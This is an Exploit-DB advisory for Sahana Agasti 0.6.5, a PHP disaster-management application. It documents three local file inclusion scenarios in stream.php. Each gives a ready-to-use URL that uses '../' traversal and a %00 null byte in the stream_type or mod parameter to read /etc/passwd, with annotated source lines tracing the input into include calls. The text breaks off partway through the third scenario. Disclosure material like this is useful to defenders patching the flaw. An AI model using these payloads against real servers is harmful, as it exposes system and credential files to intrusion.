Exploit-DB #15942
Description: sahana agasti 0.6.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-01-08
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
 
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ dun / 2011-01-07 ]
 #############################################################
 #  [ Sahana Agasti <= 0.6.5 ]  Multiple Vulnerabilities     #
 #############################################################
 #
 # Script: "Agasti is the PHP based project of the Sahana Software Foundation. 
 #          Based a long-term preparedness for disaster management..."
 #
 # Script site: http://www.sahanafoundation.org/
 # Download: https://launchpad.net/sahana-agasti/
 #

 [LFI] Vuln: ( Scenario 1)
 http://site.com/sahana-0.6.5/www/stream.php?stream_type=/../../../../../../../../../etc/passwd%00
 File: ./sahana-0.6.5/www/stream.php

    20	$global['approot'] = realpath(dirname(__FILE__)).'/../';
    21	// $global['approot'] = '/usr/local/bin/sahana/';
    22	$global['previous']=false;
	...(CUT)...
    39	    if(!$global['previous']){
    40	        $global['action'] = (NULL == $_REQUEST['act']) ? 
    41	                                "default" : $_REQUEST['act'];
    42	        $global['module'] = (NULL == $_REQUEST['mod']) ? 
    43	                                "home" : $_REQUEST['mod'];
    44	    }
    45	    $global['stream_type'] = $_GET['stream_type'];                                                    // [1]
	...(CUT)...
    52	    shn_front_controller();
	...(CUT)...	
    64	function shn_front_controller() 
    65	{
    66	    global $global;
    67	    global $conf;
    68	    $approot = $global['approot'];
    69	    $action = $global['action'];
    70	    $module = $global['module'];	
	...(CUT)...		
    90	    if($global['stream_type'] && file_exists($approot.'/inc/lib_st_'.$global['stream_type'].'.inc') ){// [2]
    91	        require_once ($approot.'/inc/lib_st_'.$global['stream_type'].'.inc');                         // [3] LFI
    92	        if(file_exists($approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc'))
    93	            $default_file = $approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc';
    94	        else
    95	            $default_file = 'stream.inc';
    96	    }	
	

 In this scenario script try to include something like this:
 /var/www/apache/sahana/www/..//inc/lib_st_/../../../../../../../../../etc/passwd\0.inc

 ################################################################################################################################

 [LFI] Vuln: ( Scenario 2)
 http://site.com/sahana-0.6.5/www/stream.php?mod=/../../../../../../../../../etc/passwd%00
 File: ./sahana-0.6.5/www/stream.php
    42	        $global['module'] = (NULL == $_REQUEST['mod']) ? 
    43	                                "home" : $_REQUEST['mod'];
	...(CUT)...		
    70	    $module = $global['module'];	
   	...(CUT)...		
	90	    if($global['stream_type'] && file_exists($approot.'/inc/lib_st_'.$global['stream_type'].'.inc') ){
    91	        require_once ($approot.'/inc/lib_st_'.$global['stream_type'].'.inc');
    92	        if(file_exists($approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc'))
    93	            $default_file = $approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc';
    94	        else
    95	            $default_file = 'stream.inc';
    96	    }else
    97	        $default_file = 'main.inc';                                                                   // [1]
    98	
    99	    // include the correct module file based on action and module
   100	    $module_file = $approot.'mod/'.$module.'/'.$default_file;                                         // [2]
   101	    if (! file_exists($module_file)) {                                                                //
   102	        $module_file = $approot.'mod/home/'.$default_file;
   103	    }
	...(CUT)...		
   109	    //Include the module file
   110	    include($module_file);                                                                            // [3] LFI

 In this scenario script try to include something like this:
 /var/www/apache/sahana/www/../mod//../../../../../../../../../etc/passwd\0/main.inc

 ################################################################################################################################

 [LFI] Vuln: ( Scenario 3 without file_exists)
 http://site.com/sahana-0.6.5/www/stream.php?act=adm&mod=/../../../../../../../../../etc/passwd%00
 File: ./sahana-0.6.5/www/stream.php

    42	        $global['module'] = (NULL == $_REQUEST['mod']) ?                                              // [1]
    43	                                "home" : $_REQUEST['mod'];
	...(CUT)...		
    84	    if (preg_match('/^adm/',$action)) {                                                               //
    85	        $module = 'admin';                                                                            // [2]
    86	        $action = 'modadmin';                                                                         //
    87	    }
	...(CUT)...		
    96	    }else
    97	        $default_file = 'main.inc';                                                                   // [3]
    98	
    99	    // include the correct module file based on action and module
   100	    $module_file = $approot.'mod/'.$module.'/'.$default_file;              // [4] ( /var/www/apache/sahana/www/../mod/admin/main.inc )
	...(CUT)...	
   110	    include($module_file);                                                                            // [5]
	...(CUT)...	   
   125	        $module_function = 'shn_'.$module.'_'.$action;                                                // [6] 
   126	        if (!function_exists($module_function)) {                                                     //
   127	            $module_fun